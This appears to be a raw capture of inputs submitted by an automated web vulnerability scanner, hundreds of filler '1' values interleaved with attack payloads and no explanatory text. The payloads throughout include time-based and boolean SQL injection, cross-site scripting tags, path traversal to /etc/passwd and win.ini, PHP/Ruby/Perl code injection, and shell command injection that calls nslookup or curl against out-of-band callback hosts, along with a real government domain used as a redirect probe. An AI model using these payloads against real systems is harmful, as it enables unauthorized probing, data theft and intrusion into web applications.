1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
15X6W4gPN'; waitfor delay '0:0:15' --
1
1
1
1
1
1-1 OR 30=(SELECT 30 FROM PG_SLEEP(15))--
1
1
1
1
1
1-1) OR 793=(SELECT 793 FROM PG_SLEEP(15))--
1
1
1
1
1
1-1)) OR 123=(SELECT 123 FROM PG_SLEEP(15))--
1
1
1
1
1
18dCrN4fQ' OR 493=(SELECT 493 FROM PG_SLEEP(15))--
1
1
1
1
1
109jc84ua') OR 660=(SELECT 660 FROM PG_SLEEP(15))--
1
1
1
1
1
1iNyG4Vxw')) OR 250=(SELECT 250 FROM PG_SLEEP(15))--
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1'"
1
1
@@JdsGO
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1i0BilYIO
1
1
1
1
1
1
1
1yHYe44SO
1
1
1
1
1
1
1
1
1
1
1
response.write(9555774*9408629)
'+response.write(9555774*9408629)+'
1
"+response.write(9555774*9408629)+"
1
../../../../../../../../../../../../../../etc/passwd
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1'"()&%<zzz><ScRiPt >ssAD(9755)</ScRiPt>
1
1
../1
1
'"()&%<zzz><ScRiPt >ssAD(9969)</ScRiPt>
1
1
1
1
19827585
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1FEVqq6nT
1
1
1
1
1
1
-1 OR 2+819-819-1=0+0+0+1 --
1
-1 OR 2+525-525-1=0+0+0+1
1
-1' OR 2+394-394-1=0+0+0+1 --
1
1
1
-1' OR 2+807-807-1=0+0+0+1 or 'rc6NE31J'='
1
-1" OR 2+210-210-1=0+0+0+1 --
1
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1<esi:include src="http://bxss.me/rpb.png"/>
1
1-1; waitfor delay '0:0:15' --
1
12345'"\'\");|]* { < >
1
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1vTZNBpYp'; waitfor delay '0:0:15' --
1
1-1 OR 943=(SELECT 943 FROM PG_SLEEP(15))--
1-1) OR 113=(SELECT 113 FROM PG_SLEEP(15))--
1
1-1)) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
1
1
1
1DVmANMYr' OR 191=(SELECT 191 FROM PG_SLEEP(15))--
1
1GznrGCMZ') OR 109=(SELECT 109 FROM PG_SLEEP(15))--
1jacFqG48')) OR 505=(SELECT 505 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
OswQPR7L
SyKi7WtO: D4LRajwQ
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@tJK9w
1
1
1
1
1
1
1
1
${9999123+10000269}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n996587=v984923
1
Http://bxss.me/t/fit.txt
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
!(()&&!|*|*|
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(107).concat(67).concat(112).concat(81)+(require"socket" Socket.gethostbyname("hiteq"+"grbigvzuf843b.bxss.me.")[3].to_s)+"
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(97).concat(70).concat(113).concat(90)+(require'socket' Socket.gethostbyname('hitvb'+'vndcloth37db4.bxss.me.')[3].to_s)+'
1
1
1
'A'.concat(70-3).concat(22*4).concat(121).concat(69).concat(119).concat(67)+(require'socket' Socket.gethostbyname('hitua'+'ssiqnmimd3d2f.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
create
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
https://dpmis.punjab.gov.pk/
echo ufycbv$()\ zxbqui\nz^xyu||a #' &echo ufycbv$()\ zxbqui\nz^xyu||a #|" &echo ufycbv$()\ zxbqui\nz^xyu||a #
1
1
1
https://redirtest.acx/
&echo znsoku$()\ ezlghj\nz^xyu||a #' &echo znsoku$()\ ezlghj\nz^xyu||a #|" &echo znsoku$()\ ezlghj\nz^xyu||a #
1
1
dpmis.punjab.gov.pk
1&echo wuycax$()\ iofalx\nz^xyu||a #' &echo wuycax$()\ iofalx\nz^xyu||a #|" &echo wuycax$()\ iofalx\nz^xyu||a #
1
1
1
redirtest.acx
|echo yeivxg$()\ ngtgsc\nz^xyu||a #' |echo yeivxg$()\ ngtgsc\nz^xyu||a #|" |echo yeivxg$()\ ngtgsc\nz^xyu||a #
1
1
1
1
1|echo gupyrm$()\ uezkio\nz^xyu||a #' |echo gupyrm$()\ uezkio\nz^xyu||a #|" |echo gupyrm$()\ uezkio\nz^xyu||a #
1
1
1
(nslookup -q=cname hitgvspnkvrjdc5338.bxss.me||curl hitgvspnkvrjdc5338.bxss.me))
1
1
1
1
$(nslookup -q=cname hitmymdiuwqew31006.bxss.me||curl hitmymdiuwqew31006.bxss.me)
1
1
1
&nslookup -q=cname hitfbvgaugaie8e4ad.bxss.me&'\"`0&nslookup -q=cname hitfbvgaugaie8e4ad.bxss.me&`'
1
1
1
1
&(nslookup -q=cname hitraksdineijb5d47.bxss.me||curl hitraksdineijb5d47.bxss.me)&'\"`0&(nslookup -q=cname hitraksdineijb5d47.bxss.me||curl hitraksdineijb5d47.bxss.me)&`'
1
1
1
1
|(nslookup -q=cname hitqakenfckyk791be.bxss.me||curl hitqakenfckyk791be.bxss.me)
1
1
1
1
`(nslookup -q=cname hitfubiwhhtrs5b6fb.bxss.me||curl hitfubiwhhtrs5b6fb.bxss.me)`
1
1
1
1
;(nslookup -q=cname hitpdnbbvsmke7d5e6.bxss.me||curl hitpdnbbvsmke7d5e6.bxss.me)|(nslookup -q=cname hitpdnbbvsmke7d5e6.bxss.me||curl hitpdnbbvsmke7d5e6.bxss.me)&(nslookup -q=cname hitpdnbbvsmke7d5e6.b
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitnmyfotjcmj7bf9f.bxss.me||curl${IFS}hitnmyfotjcmj7bf9f.bxss.me)
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitupfswhozoj64789.bxss.me||curl${IFS}hitupfswhozoj64789.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitupfswhozoj64789.bxss.me||curl${IFS}hitupfswhozoj64789.bx
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitzx'.'mgzxfffvbbfc2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(79).chr(122).chr(67).'
1
1
1
".gethostbyname(lc("hitus"."sbhbseuj4735a.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(81).chr(110).chr(73)."
1
1
1
1
1
1
gethostbyname(lc('hitkz'.'ophtgwhd0f36a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(69).chr(108).chr(88)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1oDw2xHcP
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+769-769-1=0+0+0+1 --
1
1
1
1
1
1
1
1
-1 OR 2+327-327-1=0+0+0+1
1
1
1
1
-1' OR 2+392-392-1=0+0+0+1 --
1
1
1
1
1
1
-1' OR 2+259-259-1=0+0+0+1 or '2C2XBOFm'='
1
1
1
1
1
1
-1" OR 2+88-88-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
@@B5HxF
1
1
1
1
response.write(9800276*9858420)
1
1
1
'+response.write(9800276*9858420)+'
1
1
1
"+response.write(9800276*9858420)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
cHv24Q7M
1
1
1
1
rQzANWV2: KRGgX0S4
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >Mv5C(9161)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >Mv5C(9262)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19624997
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1UeHCf5vf
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
${9999678+9999846}
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
-1 OR 2+985-985-1=0+0+0+1 --
1
1
1
1
1
1
1
-1 OR 2+744-744-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+87-87-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
-1' OR 2+318-318-1=0+0+0+1 or 'URxxEIB3'='
1
1
1
1
1
-1" OR 2+11-11-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@VDwX5
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n987725=v918627
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
/etc/shells
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(103).concat(79).concat(120).concat(80)+(require"socket" Socket.gethostbyname("hitbn"+"xjnszodp64b18.bxss.me.")[3].to_s)+"
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(113).concat(85).concat(117).concat(70)+(require'socket' Socket.gethostbyname('hitsy'+'vfmhdftz02674.bxss.me.')[3].to_s)+'
1
1
'A'.concat(70-3).concat(22*4).concat(98).concat(76).concat(102).concat(70)+(require'socket' Socket.gethostbyname('hitvo'+'onxtohcj245bf.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo zbcarn$()\ dpuqrc\nz^xyu||a #' &echo zbcarn$()\ dpuqrc\nz^xyu||a #|" &echo zbcarn$()\ dpuqrc\nz^xyu||a #
1
1
1
1
1
&echo rgbgco$()\ eeibjs\nz^xyu||a #' &echo rgbgco$()\ eeibjs\nz^xyu||a #|" &echo rgbgco$()\ eeibjs\nz^xyu||a #
1
1
1
1
1
1&echo ovcuoq$()\ bpbdqb\nz^xyu||a #' &echo ovcuoq$()\ bpbdqb\nz^xyu||a #|" &echo ovcuoq$()\ bpbdqb\nz^xyu||a #
1
1
1
1
1
|echo tvjrjk$()\ tmpqsa\nz^xyu||a #' |echo tvjrjk$()\ tmpqsa\nz^xyu||a #|" |echo tvjrjk$()\ tmpqsa\nz^xyu||a #
1
1
1
1
1
https://dpmis.punjab.gov.pk/
1|echo evmrvm$()\ jvuguh\nz^xyu||a #' |echo evmrvm$()\ jvuguh\nz^xyu||a #|" |echo evmrvm$()\ jvuguh\nz^xyu||a #
1
1
1
1
https://redirtest.acx/
1
1
(nslookup -q=cname hithnvqilwwjsa4d91.bxss.me||curl hithnvqilwwjsa4d91.bxss.me))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dpmis.punjab.gov.pk
1
1
1
1
1
1
redirtest.acx
$(nslookup -q=cname hitgqjsaqvaxza54b9.bxss.me||curl hitgqjsaqvaxza54b9.bxss.me)
1
1
1
1
1
1
&nslookup -q=cname hitilgqtnvdky66892.bxss.me&'\"`0&nslookup -q=cname hitilgqtnvdky66892.bxss.me&`'
1
1
1
1
1
1
&(nslookup -q=cname hittgvftqiewqa1c7c.bxss.me||curl hittgvftqiewqa1c7c.bxss.me)&'\"`0&(nslookup -q=cname hittgvftqiewqa1c7c.bxss.me||curl hittgvftqiewqa1c7c.bxss.me)&`'
1
1
1
1
1
|(nslookup -q=cname hitrfagpascyqdfa39.bxss.me||curl hitrfagpascyqdfa39.bxss.me)
1
1
1
1
`(nslookup -q=cname hituuyzahfxwadc513.bxss.me||curl hituuyzahfxwadc513.bxss.me)`
1
1
1
1
1
'.gethostbyname(lc('hitna'.'xinzkitnbb044.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(75).chr(113).chr(80).'
;(nslookup -q=cname hitlmtgwqdqaa4693f.bxss.me||curl hitlmtgwqdqaa4693f.bxss.me)|(nslookup -q=cname hitlmtgwqdqaa4693f.bxss.me||curl hitlmtgwqdqaa4693f.bxss.me)&(nslookup -q=cname hitlmtgwqdqaa4693f.b
1
1
1
1
1
".gethostbyname(lc("hitrf"."afjgkhxk3bfe1.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(83).chr(103).chr(85)."
|(nslookup${IFS}-q${IFS}cname${IFS}hitgwobhagwyn0a64b.bxss.me||curl${IFS}hitgwobhagwyn0a64b.bxss.me)
1
1
1
1
1
1
gethostbyname(lc('hitlr'.'wvomxotpe896a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(74).chr(98).chr(85)
&(nslookup${IFS}-q${IFS}cname${IFS}hitxpxiruzdjs44e22.bxss.me||curl${IFS}hitxpxiruzdjs44e22.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxpxiruzdjs44e22.bxss.me||curl${IFS}hitxpxiruzdjs44e22.bx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9161014*9279342)
1
1
1
1
'+response.write(9161014*9279342)+'
1
1
1
1
1
"+response.write(9161014*9279342)+"
1
1
1
1
1
1
NoqodIoG
1
1
1
1
1
u4aopabu: H6MYnFUI
1
'"()
1
1
1
1
1
1'&&sleep(27*1000)*tyobac&&'
1
1
1"&&sleep(27*1000)*eshomt&&"
1
1
1
1'||sleep(27*1000)*kwdugh||'
1
1
1"||sleep(27*1000)*imyjdz||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
